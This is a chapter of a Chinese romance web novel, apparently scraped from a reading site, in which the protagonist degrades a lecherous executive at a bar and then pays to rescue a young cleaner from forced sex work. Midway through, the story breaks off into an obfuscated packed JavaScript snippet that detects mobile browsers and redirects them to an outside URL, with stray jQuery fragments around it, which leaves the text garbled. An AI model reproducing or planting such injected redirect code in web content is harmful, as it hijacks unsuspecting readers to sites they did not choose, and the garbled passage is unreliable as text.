18.成功解救小树

作品:《你今天为什么不给我打电话

    这一句话掷地有声,说出去,包房都安静了好一会。


    郑总拧着眉问他:“你认真的?”


    纪乘风嘴里叼着烟,“郑总,可不能玩不起啊,再说了,包房里就我们两个人,玩什么不都行么?”


    他说着把杯子放到地上,“难道郑总的圈子里不玩这个?”


    郑总一时间没有说话,纪乘风这话就向他暗示得很明显了,当狗趴在地上喝酒这事,什么圈子才玩得出来,一目了然了。


    郑总看了纪乘风一眼,对方翘着二郎腿坐在沙发上,正斜眼昵着自己,那烟雾从鼻子唇间吐出来,完全是一副波澜不惊的、当惯了上位者的架势。


    郑总咽了咽口水,这个圈子他还没有接触过,但……


    郑总想着又看了纪乘风一眼,眼神里是止不住的贪欲,如果要是这人是纪乘风的话,要他玩也不是不行。


    “愿赌服输,我玩。”郑总说完整个人就跪趴在了地上,四肢着地,像狗一样在地上用舌头舔着那杯子里的酒。


    纪乘风看他真趴了下去,顿时嫌恶地皱起了眉,只觉得跟这人共处一室,抽进去的烟都叫他恶心坏了。


    趁人舔得正欢的时候,纪乘风悄悄掏出手机,偷摸怕了两张照片,纪乘风就连照片发出去的标题都想好了。


    震惊!圈圈公司的老总竟然在酒吧做出这种事!简直是人性的泯灭、道德的沦丧。


    这一轮玩完,郑总想赢的心态也达到了顶峰,纪乘风都敢玩这么大的,他还怕什么!


    却不想纪乘风突然站起身,“郑总,我去一趟洗手间,顺便再点两瓶酒过来,你等我一会。”


    郑总点了点头让他去了,自顾自还在心里盘算着一会到底还要纪乘风做些什么,想得鸡儿梆硬。


    出了包房门的纪乘风顿时黑下脸来,要被恶心坏了,他去洗手间拿洗手液使劲搓了几遍手,心里这才舒服些。


    他又在卫生间吞云吐雾抽了根烟,感觉心情这才缓和过来。


    从洗手间出来的时候纪乘风遇到了个服务员,他一把把人叫住,“服务员,给702上两瓶好酒,就那什么路易十三之类的,整两瓶。”


    那小服务员一听要开这么贵的酒,脸上瞬间就笑开了花,“您好先生,是702包房对么?”


    纪乘风:“对,702,开了直接送进去就行。”


    “好的!”那小服务员欣喜到不行。


    路易十三一般这种店里的,一瓶起码得是十万加往上走,两瓶估计就得干掉那傻逼起码两个月的工资了。


    纪乘风心里舒服了。


    他又掏出手机认认真真看了一下自己刚刚偷拍的照片,人物、地点、事件拍得一清二楚。


    纪乘风很满意,心满意足地打算就这样回去。


    管那老色批在酒吧等到几点,都不关他的事。


    可就在纪乘风路过702包房门口的时候,突然好像听到了小骗子的声音。


    纪乘风一怔,下意识回头看了一眼。


    声音不是从702发出来的,而是从门没有关紧的701里发出来的。


    他看到小骗子被人摁在沙发上,死命在那挣扎。


    草,真是没完没了。


    纪乘风咬牙拉开门就冲了进去。


    十分钟前,蓝调,701包房。


    李树穿着一身保洁服被送了进来,送进来之前刘总反复跟他交代,这包房里的是个大人物,叫他乖顺点。


    然后李树进去,人家要开始脱他衣服的时候,他就拿酒瓶子差点给人脑袋干开花了。


    现在吓坏了刘总,一堆人冲进来把李树摁在了沙发上。


    正好就是纪乘风看到的这一幕。


    纪乘风一进来,包房里所有人都看向他,不知道是个什么情况。


    刚刚还呲牙装狠的李树见到来人,瞬间红了眼睛,他委屈巴巴地看着纪乘风,哽咽地大喊了一声:“纪先生!”


    给纪乘风喊得吓了一跳,觉得自己是不是不该进来的。


    刘总皱着眉冲纪乘风道:“不关你的事,出去。”


    纪乘风站那没动,“这什么情况?”


    刘总不耐烦:“听不懂么?我叫你出去。”


    一旁一个脑袋上湿漉漉还带着血丝的人站出来,“什么情况?我让你看看什么情况,我好好来这店里消费,这小子拿酒瓶子兜头对我就是一顿砸。”


    李树委屈喊道:“是你先脱我衣服的!”


    那人更加气愤了,“你是干什么的你自己心里不清楚么?吃这行饭又不做这行事,只是脱你衣服就不行了?”


    李树跟他顶嘴:“我才不是干这个的!”


    那人似乎被气笑了,“那你说你是做什么的?”


    李树瞪着他:“我是刷马桶的,你认不清么?我身上穿的都是保洁服。”


    那人气急了,顺带着连刘总也一起骂:“刘老板你这店里是干什么吃的!我好不容易来你们店里一趟,你就是给我送这么个玩意过来?还做不做生意了!”


    刘总在那连连给人道歉。


    纪乘风听不下去了,“他什么玩意,你什么玩意?”


    纪乘风轻蔑地看了一眼那人的裆部,“上酒吧来找刺激呢?你这样的人穿裤子也只是为了护短吧?多丢人啊,还吵起来了,生怕别人不知道你□□里那点事?”


    对方瞬间被气到红温,之前要说吵架这人还能还嘴,但是纪乘风这个实在是攻击力强到没边。


    对方恨恨地瞪了纪乘风一眼,甩下一句:“真是晦气!”头也不回的走了。


    等这人走了之后,刘总也炸了。


    “李树!你好好把人伺候好怎么了!”刘总指着他骂。


    纪乘风:“你没听人家说他是干保洁的么?伺候个屁啊。”


    刘总被他这么一接话,瞬间就转移了吵架对象,“还有你,不是你是谁啊!在这掺和什么,你搞清楚是怎么一回事么?就在这掺和。”


    纪乘风摇摇头:“是不太清楚,但之前我见这小孩都还好好的,现在怎么就在你们酒吧里卖了?怎么,你这儿光拒绝赌和毒了,不拒绝黄啊?”


    刘总:“你!”


    纪乘风:“行了,这小孩我带走了,你说说条件吧。”


    纪乘风看了看手表,离他出来已经过去快二十分钟了,要不是隔壁702包房还有郑总那个傻逼,纪乘风怕这里迟迟不散场,他又被人逮到,不然他才不会这么痛快的要别人开条件。


    刘总看了纪乘风一眼,琢磨了一下,“行啊,这小孩你可以带走,你开五千,人给你。”


    纪乘风震惊,“五千,你怎么不去抢!你干脆去晨曦路抢点点银行吧!”


    纪乘风报的是自己上班的银行,这兄弟要真去抢的话,他无条件支持,甚至还能告诉对方一二楼里头有几个安全通道。


    李树也在那喊:“你太过分了!你明明说杨韦只收了你三千!怎么一下子又变成五千了!”


    刘总:“我五千都算收你少的了,你把我店里的酒砸了,那么大个客户也被你弄走了,只收五千已经是很给你面子了!”


    纪乘风也不想跟他吵,他实在是怕那个郑总等不到人,万一出来找他,被逮着就尴尬了。


    “五千就五千,我给你。”纪乘风付了钱就把人拉着就往外走。


    “还有我的包!”李树松开他的手,转身就去保洁室拿包。


    纪乘风不耐烦地“啧”了一声,这小骗子都什么时候还在这惦记他的包呢。


    等纪乘风和李树出了蓝调,站在门口的时候,纪乘风严重怀疑自己是不是喝多了,出来被这外头的寒风一吹,他感觉自己的脑子这才转过来。


    不是,他到底


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374075|199711||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在干嘛。


    纪乘风转头去看李树,李树乖乖地站在那,像上课被任课老师点名的乖乖生,就那么无措地看着纪乘风,跟做错了什么事似的。


    纪乘风一口气提上来,想说李树两句。


    可李树的那一双大眼睛就那么看着他,硬生生给他看得没脾气了。


    纪乘风拧着眉问他:“你怎么在这里?”


    李树委屈道:“我……在这里打扫卫生。”


    纪乘风沉默了,说了等于没说。


    “你上哪干保洁不行,还干到酒吧来了。”纪乘风无奈地叹了口气。


    他真是遇到这小骗子就破财,上次是三千,这回是五千,指不定下回还有多少呢。


    “行了,你站这拦辆出租车,我去打个电话。”纪乘风交代他。


    李树乖巧地点点头。


    纪乘风就去一旁拨通了那个熟悉的警察电话。


    “警察同志,不好意思啊,这么大晚上的还打扰你,是这样啊,我这边了解到亲民路的蓝调酒吧里头涉黄,现在咱们市里不是一直在扫黄打非么?我觉得这家店里实在是不像样子,还要麻烦警察同志整治一下风气……”


    纪乘风在那头跟警察通完电话,这头李树也叫到车了。


    上了车,纪乘风脑子有些疼,他冲李树说:“动动你那脑子好好想想,一会回去了怎么给我把事情交代清楚。”


    李树耷拉着脑袋,在那抠手指,他能够感觉到纪先生生气了。


    他不仅惹纪先生生气了,还让纪先生破费了五千块钱。


    纪乘风合眼靠在车椅背上假寐,今天这一晚上他真的是劳神伤力还费钱,兜兜转转又把这小骗子接回来了。


    纪乘风现在脑子乱得很,他甚至都在怀疑,是不是对方这杀猪盘做得太大了,之前三千块钱没套住他,现在又想来杀他五千块钱。


    这五千块钱怎么着也是打水漂了,一丁点响声也听不见。


    气得纪乘风睁开眼,一看到李树那一副眨巴着眼睛的傻乎乎样,就气不打一处来。


    他在心里默念:算了算了,不能跟傻子计较。


    纪乘风就这样憋了一路,好不容易到家了。


    他把小骗子领进门,看到他背着个笨重的包在那换鞋,也不知道把包放下来,实在是忍不住了:“李树,一路上你想明白怎么跟我说这事了么?”


    李树鞋子脱到一半,直起身来茫然地看着纪乘风,“啊?”


    纪乘风:“……”


    李树想了想,才明白过来纪乘风是什么意思,“纪先生,我是被一个同乡的哥哥介绍进去做保洁的,本来我都做得好好的,都在里面干了有半个月了,但是不知道为什么今天那个老板突然通知要我去陪酒陪睡,才闹成这样的。”


    一说到这,纪乘风就有些肉疼,他又想起自己的那五千块钱了。


    纪乘风问他:“不会你上次去干电话诈骗也是你这同乡介绍的工作吧?”


    李树很不好意思地看着他,点了点头。


    纪乘风:……沉默是今晚的康桥。


    纪乘风深吸了口气问他:“那下次他还要给你介绍工作,你是不是屁颠屁颠又去了?”


    李树连忙摇了摇头:“纪先生不会了的!我以后都不会跟他再联系了。”


    纪乘风这才松了口气,想着这小骗子虽然傻是傻了点,但好歹还是有一点脑子。


    他又上下看了看小骗子。


    这小骗子生得白白嫩嫩、干干净净的,一双眼睛看人时总是带着欣喜的亮晶晶,唇红齿白的样子确实生得漂亮,但是……


    纪乘风实在是不解:“你长得是还行,但这脑子这么不聪明,他们酒吧怎么敢卖这么高的价的?”


    李树站在那眼神清澈地看着纪乘风……


    他问纪乘风:“纪先生,你真的想知道么?”